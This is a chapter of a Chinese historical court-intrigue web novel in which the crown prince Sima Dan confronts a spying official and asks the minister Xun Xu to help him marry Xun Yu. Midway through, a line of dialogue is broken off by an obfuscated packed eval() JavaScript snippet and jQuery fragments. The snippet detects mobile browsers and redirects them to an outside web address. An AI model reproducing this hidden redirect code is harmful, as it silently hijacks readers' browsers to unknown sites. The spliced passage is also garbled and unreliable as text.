司马丹:“这是……怎么说的?”
“我小时候也是父母双全的。”荀郁垂头看着案上的书封,“母亲和父亲都对我很好。可是后来母亲为了救人,丢下我和父亲离开了。”
“再后来幽州被鲜卑人攻打,父亲本可以带着我离开,但他选择了留下。”
“我被慕容部的大王子之妻收养,等她有了自己的孩子,就要杀了我。”
荀郁低笑:“我理解他们每个人的想法。最开始当然是怨恨不忿的,后来渐渐明白,人觉得自己很重要,这无可厚非,但不能要求别人也认为你很重要。”
司马丹知道自己无法感同身受。
不同于荀郁,他似乎是永远被选择的那一个。
杨皇后只剩他一个儿子,把他当作命根子,这是老天已替她做了选择。
皇帝虽不管事,到底也是“选”了他来做这个太子。
就算是那些来刺杀他的,也是因为他有着不一般的身份,所以被“选中”了。
他想说“我以后都会选你”,然而总感觉轻飘飘的,便也说不出口。
荀郁看了看自己胳膊上一道奇异的疤痕。
有些好笑的是,第一个让她感到自己是被选中之人的,竟是长公主。
那道疤痕被一只手握住。
司马丹摩挲着它,问道:“这个,是怎么来的?”
荀郁重新睁眼后,许许多多的事情都变得面目全非,几乎找不见上一世的轨迹。
唯一在她睁眼之后出现,且与上一世无甚区别的,就只有这道痕迹。
这是在她从草原回到洛阳后不久,悄悄出现在她臂上的。
荀郁道:“你先前只知道长公主折磨我,然而你可知,她是如何折磨我的?”
“不知。”上次太医来也没看出什么,荀郁身上完好无损。
“她用的是蛊。”
司马丹不是头一回听说这种东西,却是头一回在身边实际碰见,一惊:“什么蛊?”
“我也不知。只是暂时没有性命之危。”
这是程鲤告诉她的,他还说这道疤痕应当就是给她种蛊时留下的,当时不显,日子久了才慢慢出现。
司马丹觉着心里火烧火燎的。
他现在既想去找荀煦的麻烦,又想去找长公主的麻烦,还想去找荀郁那对父母的麻烦。然而他一个都不能去。
不,荀令君的麻烦还是可以找找的。
太子詹事卢云最近日子过得水深火热。
他刚吩咐人将太子多日不曾翻看的书籍整理收藏起来,太子便又叫他找出来;
刚给侍弄时令花草的匠人结了工钱送走,太子就说要改种别的;
刚遣了人去荀府诉苦,太子就将人捉了,押到了他面前。
“孤竟不知,这东宫之事还要向中书令上报的?”
卢云跪在地下,抖如筛糠:“殿下……恕、恕罪。”
他辩无可辩。
“孤要不恕呢?”
“殿下!大、大家都是自己人……何必,何必……”
司马丹用鼻子笑一声:“是了,自己人。那这自己人换自己人想必也无甚不可,你明日便去跟王辽报个备,换裴松来东宫当值。你嘛……去荀府做个内史如何?”
王辽是吏部曹的尚书郎,太子这是要他自请辞官呢。
荀府又不是什么地方营府,他去做哪门子“内史”?
东宫的官员配置本就可由太子全权处置,便是荀煦本人在此,也说不出什么来,何况他一个小小卢云。
然而卢云心底却觉着这位太子果然如传言中那般宽厚仁慈。一般人被抓到通风报信,便是砍了头也有的,太子却只是叫他走人。
卢云灰溜溜地走后不久,荀煦便到访东宫。
“来得还真快。”司马丹请荀煦坐,“老师怎的如今不怕隔墙有耳了?”
三年前荀煦还只能趁着宫中宴会的机会与太子私下交谈,但那是因为司马丹从来无心管理下人,整个东宫跟个筛子似的八面漏风。
如今她已将东宫暗中治理了一番,自然不再那般束手束脚。
荀煦答道:“因为卢云为殿下挑选的都是可信之人。”
“是对孤来说可信,还是对令君可信呢?”
自然是对她来说可信。荀煦神色不动:“这没有分别,太子可以信任微臣。”
“孤可以信任令君,那令君可信任孤?”
“……”荀煦抬眼。
她想信任,但目前无法信任。
太子始终有些叫人捉摸不透。
司马丹知道了荀煦的回答,低笑道:“令君又是何苦?以你的能力,便是让陛下禅位也不无可能,何必非要将孤捧起来?可知赶鸭子上架是最叫人头疼的,鸭子难受,那赶鸭子的人也不好过。”
荀煦早知道太子有些语不惊人死不休,听到“禅位”二字倒也没怎么惶恐:“殿下又是何苦?以您的能力,这朝中原没有真正可以与您相抗之人。您只要稍微用心,顺利继位,此生都会顺风顺水。”
其中最重要的,是司马丹有能力有地位的同时还十分年轻。当下世家重臣里,他动不了的都熬不过他,而跟他一般年岁的,都不堪一击。
“顺风顺水,之后呢?”司马丹兴致缺缺,“这其中没有一丝趣味。”
荀煦头一次在这类话题中听见“趣味”二字。
她心中产生了与荀郁相同的疑问:“殿下……想要的是什么?”
“不是说了?孤要的是有趣。”
而有趣的东西因人而异,他想,这世上必然有不少人觉着朝堂党争十分有趣,可他只觉着丑恶。
——也不尽然,每次看到荀郁打着她的小算盘时,也挺有趣。
荀煦有些失语。
追名也好,逐利也罢,又或是有什么人情需求,她劝说过各种各样的人改变主意。
可她要如何说服一个人,将其认为无趣的东西看作是有趣的?
司马丹的眼睛在荀煦脸上转了两圈,心里冒出一个主意。
他知道荀煦选择他的最大理由,便是因他“合适”,且眼下暂时找不出更合适的来,这是他极大的倚仗。
他道:“既然令君执意将希望放在孤身上,孤倒有个主意,不知令君可否一听?”
“殿下请说。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966463|177745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“孤虽烦腻于攻讦算计,然而有一人例外。她是个最爱算计的,若是为了她,孤便是踏进这泥潭来,也心甘情愿了。”
荀煦心中隐隐浮现一个名字:“她是……”
司马丹道:“令君帮孤一个忙,让丹阳郡君嫁进东宫来罢。”
荀煦深吸一口气:“太子殿下……您想要与长公主结亲,奉自己的亲姑姑一声岳母?”
是了,荀郁虽一未改姓,二未上宗室谱牒,就连拜义母也不曾。然而整个洛阳谁不将她当作长公主的女儿?
长公主未曾结亲,仍是司马氏人,她的女儿再嫁到司马家,实在不好听。
何况长公主有什么理由让荀郁嫁给太子?
这么多年来,洛阳人也都看出来了,长公主根本不欲郡君嫁人,怕是要和她一样独身一辈子的。
此事的确有着诸多困难,是以司马丹才想将荀煦拖下水。
司马丹道:“孤心意已明,令君只管斟酌便是。”
荀煦倒不想质疑太子的心意,只是觉着这份心意实在太不巧,偏偏在一个很难成的人身上。
她犹疑道:“此事……还待微臣再考量考量。”
司马丹打量着荀煦的表情,突然站起,踱到荀煦面前,微微俯视着她:“是了,还有一事。令君这些年应有所察觉,郡君对您很是仰慕信赖的。还望令君往后警醒一些,别再对孤的太子妃来者不拒了。”
这距离有些压迫感,再加上话里的意思,更叫人心头发沉。
这是荀煦实在没想到的。
别说“有所察觉”,就是此刻从司马丹嘴里清晰地听见,她还感到匪夷所思。
她再如何习惯扮作男子,心底也知道自己是女子之身的,从不曾想歪来。
何况荀郁每每与她交谈,都是些文章道理,或是时事朝议,何曾有过半点那方面的倾向?
她觉着太子实在多心了,可又无法分辨,苦笑道:“殿下说的是。微臣必当谨守分寸。”尽管她从未失过分寸。
司马丹觉得她的态度有些敷衍,不是很满意。
但眼下也不便再多说什么,横竖他往后勤快些,多盯着防着便是了。
便道:“令君知道就好。”
可他没想到,没过多久,就出了件让他没防住,乃至捶胸顿足之事。
荀郁这次回到洛阳后,除了去东宫便是老实缩在自己屋内。这段时日她落下了许多长公主指给她的书没看。
虽然上辈子已熟习过,可总得装出个过程来。否则等到长公主考校她,她会答得爽快,长公主会觉得有鬼。
这些书目列得比东宫几个讲师列给太子的还全面,她总觉着长公主莫非想将她往皇帝的方向培养?
这一日她正在装作埋头苦读,长公主推门进来。
荀郁捧着书不知如何,长公主一摆手:“免你一日,你与我细说说,太子如何。”
荀郁有些狐疑:长公主是想听什么?如何?哪方面的如何?她又想拿司马丹开什么刀?这些日子长公主最愁的,不是如何召燕王进京来?
荀郁心中一万个问号划过时,长公主在她对面坐下,一副打算长谈的模样。